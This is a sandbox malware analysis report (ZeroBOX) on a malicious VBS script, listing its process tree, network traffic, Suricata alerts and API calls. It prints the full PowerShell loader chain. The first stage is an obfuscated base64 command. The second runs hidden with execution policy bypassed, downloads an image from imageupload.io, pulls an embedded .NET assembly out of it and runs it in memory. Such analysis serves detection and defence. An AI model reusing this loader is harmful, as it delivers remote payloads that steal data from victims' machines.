Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 23, 2023, 1:12 p.m.	Oct. 23, 2023, 1:14 p.m.

Size	361.0KB
Type	Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5	`9693079116e9abb7ac2160191c8164af`
SHA256	`d3ee013d6d3189698f86f7bf10bac7d49ae944d574e40f6f0888d702d52fcd18`
CRC32	`EDA389D1`
ssdeep	`6144:KEIUhmBXWnFph3UKWhmynwrcw9Ot5xlDxuz0sspjyJIbEMZDcp/C44/mqIDbDxUo:KEIUhmBXWnFphkKWNnPw9Ot5xlDxuz0+`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\nicko.vbs
3068
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVQBymcURONçuXSGwmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwBomcURONçuXSHQmcURONçuXSdmcURONçuXSBwmcURONçuXSHMmcURONçuXSOgmcURONçuXSvmcURONçuXSC8mcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSHUmcURONçuXScmcURONçuXSBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSC4mcURONçuXSaQBvmcURONçuXSC8mcURONçuXSaQBimcURONçuXSC8mcURONçuXSdwBzmcURONçuXSDgmcURONçuXSTQBBmcURONçuXSEomcURONçuXSNgBlmcURONçuXSHmcURONçuXSmcURONçuXSdmcURONçuXSBpmcURONçuXSEwmcURONçuXSZgBHmcURONçuXSHUmcURONçuXSXwmcURONçuXSxmcURONçuXSDYmcURONçuXSOQmcURONçuXS3mcURONçuXSDcmcURONçuXSMwmcURONçuXS4mcURONçuXSDQmcURONçuXSOQmcURONçuXSymcURONçuXSC4mcURONçuXSagBwmcURONçuXSGcmcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXSdwBlmcURONçuXSGImcURONçuXSQwBsmcURONçuXSGkmcURONçuXSZQBumcURONçuXSHQmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSTgBlmcURONçuXSHcmcURONçuXSLQBPmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSTgBlmcURONçuXSHQmcURONçuXSLgBXmcURONçuXSGUmcURONçuXSYgBDmcURONçuXSGwmcURONçuXSaQBlmcURONçuXSG4mcURONçuXSdmcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSHcmcURONçuXSZQBimcURONçuXSEMmcURONçuXSbmcURONçuXSBpmcURONçuXSGUmcURONçuXSbgB0mcURONçuXSC4mcURONçuXSRmcURONçuXSBvmcURONçuXSHcmcURONçuXSbgBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSEQmcURONçuXSYQB0mcURONçuXSGEmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBVmcURONçuXSHImcURONçuXSbmcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSumcURONçuXSEUmcURONçuXSbgBjmcURONçuXSG8mcURONçuXSZmcURONçuXSBpmcURONçuXSG4mcURONçuXSZwBdmcURONçuXSDomcURONçuXSOgBVmcURONçuXSFQmcURONçuXSRgmcURONçuXS4mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSUwB0mcURONçuXSHImcURONçuXSaQBumcURONçuXSGcmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBCmcURONçuXSHkmcURONçuXSdmcURONçuXSBlmcURONçuXSHMmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBTmcURONçuXSFQmcURONçuXSQQBSmcURONçuXSFQmcURONçuXSPgmcURONçuXS+mcURONçuXSCcmcURONçuXSOwmcURONçuXSkmcURONçuXSGUmcURONçuXSbgBkmcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBFmcURONçuXSE4mcURONçuXSRmcURONçuXSmcURONçuXS+mcURONçuXSD4mcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBUmcURONçuXSGUmcURONçuXSemcURONçuXSB0mcURONçuXSC4mcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSE8mcURONçuXSZgmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXSZQBumcURONçuXSGQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSTwBmmcURONçuXSCgmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBGmcURONçuXSGwmcURONçuXSYQBnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSHMmcURONçuXSdmcURONçuXSBhmcURONçuXSHImcURONçuXSdmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSZQmcURONçuXSgmcURONçuXSDmcURONçuXSmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSCsmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSLgBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSYgBhmcURONçuXSHMmcURONçuXSZQmcURONçuXS2mcURONçuXSDQmcURONçuXSTmcURONçuXSBlmcURONçuXSG4mcURONçuXSZwB0mcURONçuXSGgmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBzmcURONçuXSHQmcURONçuXSYQBymcURONçuXSHQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSDsmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBTmcURONçuXSHUmcURONçuXSYgBzmcURONçuXSHQmcURONçuXScgBpmcURONçuXSG4mcURONçuXSZwmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSQwBvmcURONçuXSG4mcURONçuXSdgBlmcURONçuXSHImcURONçuXSdmcURONçuXSBdmcURONçuXSDomcURONçuXSOgBGmcURONçuXSHImcURONçuXSbwBtmcURONçuXSEImcURONçuXSYQBzmcURONçuXSGUmcURONçuXSNgmcURONçuXS0mcURONçuXSFMmcURONçuXSdmcURONçuXSBymcURONçuXSGkmcURONçuXSbgBnmcURONçuXSCgmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSGwmcURONçuXSbwBhmcURONçuXSGQmcURONçuXSZQBkmcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSUgBlmcURONçuXSGYmcURONçuXSbmcURONçuXSBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBpmcURONçuXSG8mcURONçuXSbgmcURONçuXSumcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQBdmcURONçuXSDomcURONçuXSOgBMmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSCgmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSB0mcURONçuXSHkmcURONçuXScmcURONçuXSBlmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSbmcURONçuXSBvmcURONçuXSGEmcURONçuXSZmcURONçuXSBlmcURONçuXSGQmcURONçuXSQQBzmcURONçuXSHMmcURONçuXSZQBtmcURONçuXSGImcURONçuXSbmcURONçuXSB5mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSVmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSomcURONçuXSCcmcURONçuXSRgBpmcURONçuXSGImcURONçuXSZQBymcURONçuXSC4mcURONçuXSSmcURONçuXSBvmcURONçuXSG0mcURONçuXSZQmcURONçuXSnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSG0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSdmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSumcURONçuXSEcmcURONçuXSZQB0mcURONçuXSE0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCgmcURONçuXSJwBWmcURONçuXSEEmcURONçuXSSQmcURONçuXSnmcURONçuXSCkmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSdgBvmcURONçuXSGsmcURONçuXSZQmcURONçuXSomcURONçuXSCQmcURONçuXSbgB1mcURONçuXSGwmcURONçuXSbmcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSWwBvmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBbmcURONçuXSF0mcURONçuXSXQmcURONçuXSgmcURONçuXSCgmcURONçuXSJwBkmcURONçuXSEgmcURONçuXSamcURONçuXSmcURONçuXSwmcURONçuXSEwmcURONçuXSbgBomcURONçuXSHmcURONçuXSmcURONçuXSYgBpmcURONçuXSDgmcURONçuXSemcURONçuXSBOmcURONçuXSFMmcURONçuXSNmcURONçuXSB6mcURONçuXSE0mcURONçuXSeQmcURONçuXS0mcURONçuXSHkmcURONçuXSTgBDmcURONçuXSDQmcURONçuXSegBPmcURONçuXSFQmcURONçuXSRQB2mcURONçuXSEwmcURONçuXSegBwmcURONçuXSHcmcURONçuXSZmcURONçuXSBImcURONçuXSFImcURONçuXSbwmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSZmcURONçuXSBmmcURONçuXSGQmcURONçuXSZgBkmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGEmcURONçuXSZmcURONçuXSBzmcURONçuXSGEmcURONçuXSJwmcURONçuXSgmcURONçuXSCwmcURONçuXSImcURONçuXSmcURONçuXSnmcURONçuXSGQmcURONçuXSZQmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSYwB1mcURONçuXSCcmcURONçuXSKQmcURONçuXSpmcURONçuXSmcURONçuXS==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('mcURONçuXS','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
  1776
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lnhpbi8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
    2364
    - RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      1684

Name	Response	Post-Analysis Lookup
mail.industrialgh.com	CNAME industrialgh.com A 68.70.164.13	68.70.164.13
imageupload.io	A 104.21.83.102 A 172.67.222.26	172.67.222.26
api.ipify.org	A 173.231.16.77 A 64.185.227.156 CNAME api4.ipify.org A 104.237.62.212	104.237.62.212

IP Address	Status	Action
104.21.83.102	Active	Moloch
164.124.101.2	Active	Moloch
193.42.33.51	Active	Moloch
64.185.227.156	Active	Moloch
68.70.164.13	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49165 -> 104.21.83.102:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
UDP 192.168.56.102:62846 -> 164.124.101.2:53	2047702	ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup	Misc activity
UDP 192.168.56.102:62846 -> 8.8.8.8:53	2047702	ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup	Misc activity
TCP 193.42.33.51:80 -> 192.168.56.102:49166	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	Exploit Kit Activity Detected
TCP 68.70.164.13:587 -> 192.168.56.102:49170	2260002	SURICATA Applayer Detect protocol only one direction	Generic Protocol Command Decode
TCP 68.70.164.13:587 -> 192.168.56.102:49173	2260002	SURICATA Applayer Detect protocol only one direction	Generic Protocol Command Decode
TCP 64.185.227.156:443 -> 192.168.56.102:49169	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49169 -> 64.185.227.156:443	2047703	ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI	Misc activity
TCP 192.168.56.102:49169 -> 64.185.227.156:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49169 -> 64.185.227.156:443	2047703	ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI	Misc activity
TCP 192.168.56.102:49173 -> 68.70.164.13:587	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49170 -> 68.70.164.13:587	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49169 -> 64.185.227.156:443	2047703	ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI	Misc activity

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49165 104.21.83.102:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=imageupload.io	7f:d3:2d:a3:40:e0:de:64:4d:f5:a5:0f:96:b0:ae:07:58:85:a8:85
TLS 1.2 192.168.56.102:49170 68.70.164.13:587	C=US, ST=TX, L=Houston, O=cPanel, Inc., CN=cPanel, Inc. Certification Authority	CN=industrialgh.com	3c:3a:93:71:31:59:f8:18:09:af:5c:d9:82:13:85:c0:58:d5:2d:3e
TLS 1.2 192.168.56.102:49173 68.70.164.13:587	C=US, ST=TX, L=Houston, O=cPanel, Inc., CN=cPanel, Inc. Certification Authority	CN=industrialgh.com	3c:3a:93:71:31:59:f8:18:09:af:5c:d9:82:13:85:c0:58:d5:2d:3e

Queries for the computername (25 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 23, 2023, 1:13 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 23, 2023, 1:12 p.m.			0	0
IsDebuggerPresent Oct. 23, 2023, 1:12 p.m.			0	0
IsDebuggerPresent Oct. 23, 2023, 1:12 p.m.			0	0
IsDebuggerPresent Oct. 23, 2023, 1:12 p.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Oct. 23, 2023, 1:12 p.m.	buffer: True console_handle: 0x00000013	1	1	0

Uses Windows APIs to generate a cryptographic key (50 out of 80 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005566f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555b38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555b38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555b38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005561f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00556638 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
